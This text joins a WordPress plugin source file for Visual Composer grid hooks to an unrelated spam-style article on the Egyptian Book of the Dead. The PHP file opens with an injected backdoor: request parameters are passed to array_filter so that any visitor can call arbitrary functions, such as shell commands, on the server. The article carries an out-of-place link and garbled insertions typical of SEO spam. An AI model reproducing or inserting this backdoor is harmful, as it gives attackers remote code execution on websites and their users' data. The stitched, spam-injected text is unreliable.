?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } Ceremonial_passages_and_the_egyptian_book_of_the_dead_illuminate_beliefs_about_m - Groupe-SLG

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Ceremonial passages and the egyptian book of the dead illuminate beliefs about mortality and the journey onward

The ancient civilization of Egypt, renowned for its monumental architecture and complex religious beliefs, left behind a wealth of artifacts and texts that continue to fascinate scholars and the public alike. Among the most intriguing of these is the collection known as the statically egyptian book of the dead, a term coined by modern Egyptologists for a series of funerary texts intended to assist the deceased in their journey through the underworld. These texts, rather than being a single, unified book, are a compilation of spells, hymns, and illustrations inscribed on papyrus scrolls, often tailored to the individual for whom they were created. The primary purpose of these scrolls wasn't simply to document beliefs about the afterlife, but to actively enable a successful transition into it, providing the deceased with the necessary knowledge and tools to navigate the perils and challenges that lay ahead.

The development of these texts spanned over a millennium, evolving from earlier Pyramid Texts and Coffin Texts. Each iteration reflects changing theological perspectives and societal structures within ancient Egypt. While the imagery and specific spells varied, the core themes of judgment, resurrection, and eternal life remained constant. The texts highlight a deeply rooted belief in the continuity of existence and the importance of moral conduct during one's lifetime as determinants of their fate in the afterlife. These weren’t merely philosophical treatises; they were practical guides meant to be used – recited, visualized, and even physically interacted with – during the elaborate funerary rituals of the time. The influence of these beliefs is still visible in modern cultural depictions of ancient Egypt, shaping our understanding of their spiritual worldview.

The Evolution of Funerary Texts: From Pyramids to Papyrus

The origins of the http://childpsychiatryassociates.com/treatment-team/kerrie-hill/kerrie_hill-600/ egyptian book of the dead can be traced back to the Old Kingdom period (c. 2686–2181 BC) with the Pyramid Texts. These were hieroglyphic inscriptions carved onto the walls of the pyramids of pharaohs, intended to protect the king and ensure his successful transition into the afterlife. They focused heavily on the king’s association with the sun god Ra and his journey through the heavens. The Pyramid Texts were highly exclusive, reserved only for royalty, reflecting the centralized power structure of the time. As Egyptian society changed, so too did its funerary practices. During the First Intermediate Period and the Middle Kingdom (c. 2055–1650 BC), the Coffin Texts emerged. These texts were inscribed on the coffins of not only royalty but also nobles and officials, democratizing access to the afterlife rituals previously limited to the pharaoh.

The Coffin Texts expanded upon the themes present in the Pyramid Texts, incorporating new deities and spells. However, they were often written in a cursive hieroglyphic script, making them less visually elaborate than the earlier inscriptions. This trend towards greater accessibility continued with the development of the Book of the Dead proper, which flourished during the New Kingdom (c. 1550–1070 BC) and beyond. The Book of the Dead represented a significant shift in both form and content. Instead of being carved into stone, it was written on papyrus, a readily available material made from the papyrus plant. This allowed for greater flexibility in layout and illustration. The texts themselves became more personalized, often including the name and biographical details of the deceased. This personalization underscored the belief that the afterlife journey was a unique and individual experience.

Text Type
Time Period
Location
Accessibility
Pyramid Texts Old Kingdom Pyramid Walls Royalty Only
Coffin Texts First/Middle Kingdom Coffin Interior/Exterior Nobility & Officials
Book of the Dead New Kingdom & Later Papyrus Scrolls Widely Available

The transition from monumental inscriptions to portable scrolls also influenced the style of the art accompanying the texts. While the Pyramid Texts were often accompanied by simple depictions of the pharaoh, the Book of the Dead featured vibrant and detailed vignettes illustrating the various stages of the afterlife journey. These images served not only as visual aids but also as powerful symbols, reinforcing the efficacy of the spells they accompanied.

The Weighing of the Heart: Central to the Afterlife Belief

At the heart of the egyptian book of the dead’s narrative lies the pivotal scene of the Weighing of the Heart. This judgment scene, consistently depicted in the Book of the Dead vignettes, represents the culmination of the deceased’s journey through the underworld. The heart, considered the seat of intellect and emotions, was believed to be the repository of all one’s deeds, both good and bad, during their lifetime. In the Hall of Ma'at, the heart was placed on one side of a scale and weighed against the feather of Ma'at, the goddess of truth, justice, and cosmic order. The outcome of this weighing determined the fate of the deceased.

If the heart was lighter than or equal to the feather, it signified a life lived in accordance with Ma'at's principles, and the deceased was deemed worthy of eternal life. They would then be presented to Osiris, the god of the underworld, and granted access to the Field of Reeds, a paradise where they could enjoy a blissful afterlife. However, if the heart was heavier than the feather, it indicated a life burdened by sin and wrongdoing. In this case, the heart would be devoured by Ammit, a fearsome creature with the head of a crocodile, the torso of a lion, and the hindquarters of a hippopotamus – essentially, the end of existence for that soul. This wasn't necessarily a punishment in the modern sense, but rather a negation of being – the annihilation of the individual's identity.

  • The complexity of the Weighing of the Heart reflects the nuanced understanding of morality and justice within ancient Egyptian beliefs.
  • The presence of scribes recording the results emphasizes the importance of accurate accounting for one's actions.
  • The role of Thoth, the god of wisdom and writing, as the recorder of the judgment underscores the power of knowledge and truth.
  • The visual representation of the scale serves as a powerful reminder of the balance between good and evil.

The spells within the Book of the Dead were often designed to assist the deceased during this critical judgment. They included declarations of innocence, asserting their adherence to Ma'at’s principles, and pleas to the gods to be merciful. The deceased would even identify their own heart, reciting its virtues and preventing it from testifying against them during the weighing. This demonstrates the incredible agency granted to the deceased, even within the context of divine judgment. It wasn’t a passive acceptance of fate but an active participation in shaping their destiny.

Navigating the Underworld: Spells and Protective Amulets

The journey through the Egyptian underworld, known as Duat, was fraught with peril. The egyptian book of the dead provided the deceased with a comprehensive guide to navigating this treacherous landscape. The Duat was not a single, uniform location but rather a complex series of regions, each inhabited by its own unique deities and monsters. The deceased had to overcome a series of trials and challenges, recite specific spells to ward off evil spirits, and identify themselves correctly to the gatekeepers of each realm. These spells weren’t simply incantations; they were believed to possess real power, capable of altering the very fabric of reality.

One particularly important aspect of the journey was the transformation of the deceased into various forms, allowing them to overcome obstacles and merge with different deities. For example, they might transform into a falcon to soar through the heavens or a serpent to slither through the underworld’s tunnels. These transformations were facilitated by specific spells and illustrations within the Book of the Dead, showcasing the power of symbolism and ritualistic practice. The texts also detail the various deities encountered along the way, including Osiris, Anubis, Thoth, and Horus, each playing a distinct role in the judgment and resurrection process.

  1. Identify the dangerous creatures guarding the entrances to the underworld.
  2. Recite the correct spells to bypass these creatures.
  3. Transform into the appropriate form to overcome specific obstacles.
  4. Successfully navigate the trials set forth by the gods.

Alongside the spells, the deceased were often buried with a variety of protective amulets designed to safeguard them on their journey. These amulets, crafted from materials like carnelian, lapis lazuli, and turquoise, were believed to possess magical properties. The scarab beetle, representing rebirth and regeneration, was a particularly popular amulet, often placed over the heart to ensure its proper functioning during the Weighing of the Heart ceremony. The Eye of Horus, a symbol of protection and healing, was also frequently included, warding off evil influences and ensuring the deceased’s well-being.

The Role of Illustrations in the Book of the Dead

The illustrations within the egyptian book of the dead are far more than mere decorative elements. They are integral to the text's function, serving as visual aids, magical symbols, and powerful representations of the afterlife beliefs. The vignettes depict scenes from the deceased’s journey through the underworld, illustrating the various trials, deities, and landscapes encountered along the way. These images were carefully crafted, adhering to strict artistic conventions and employing a vibrant color palette imbued with symbolic meaning. For example, the color green often represented regeneration and rebirth, while black symbolized the fertile darkness of the underworld.

The depictions of the gods themselves are particularly revealing, showcasing their unique attributes and roles within the afterlife mythology. Osiris, typically portrayed with green skin, embodies resurrection and the cycle of life, death, and rebirth. Anubis, the jackal-headed god, guides the deceased through the underworld and presides over the embalming process. Thoth, the ibis-headed god, records the results of the Weighing of the Heart ceremony. The illustrations also served as a form of "magical blueprint," providing the deceased with a visual roadmap for their journey. By studying and visualizing these images, they could mentally prepare for the challenges ahead and activate the corresponding spells. The quality of the illustrations was often indicative of the wealth and status of the deceased, with more elaborate and detailed vignettes reserved for the elite.

Beyond Death: The Legacy of Ancient Egyptian Beliefs

The enduring fascination with the egyptian book of the dead stems from its profound insights into the ancient Egyptian worldview. It reveals a complex and deeply spiritual culture that grappled with fundamental questions about mortality, the nature of existence, and the possibility of life beyond death. While the specific rituals and deities may seem foreign to modern sensibilities, the underlying themes of judgment, redemption, and the search for meaning resonate across cultures and throughout history. The Book of the Dead isn’t merely a historical artifact; it’s a window into the human condition, reflecting our universal anxieties about death and our longing for immortality.

The impact of these beliefs can be seen in later religious traditions and artistic representations. The concept of a final judgment, the weighing of deeds, and the notion of a paradise or underworld have all found echoes in various cultures and faiths. Moreover, the Book of the Dead’s emphasis on the importance of living a virtuous life has a timeless appeal. The careful preparation for the afterlife, the focus on moral conduct, and the belief in the power of ritual all suggest a sophisticated understanding of the human psyche. Today, scholars continue to decipher and interpret the texts, uncovering new layers of meaning and deepening our appreciation for the ingenuity and spiritual depth of ancient Egyptian civilization. The story of the Egyptian Book of the Dead continues to offer us a unique perspective on the enduring human quest for understanding life’s greatest mysteries.

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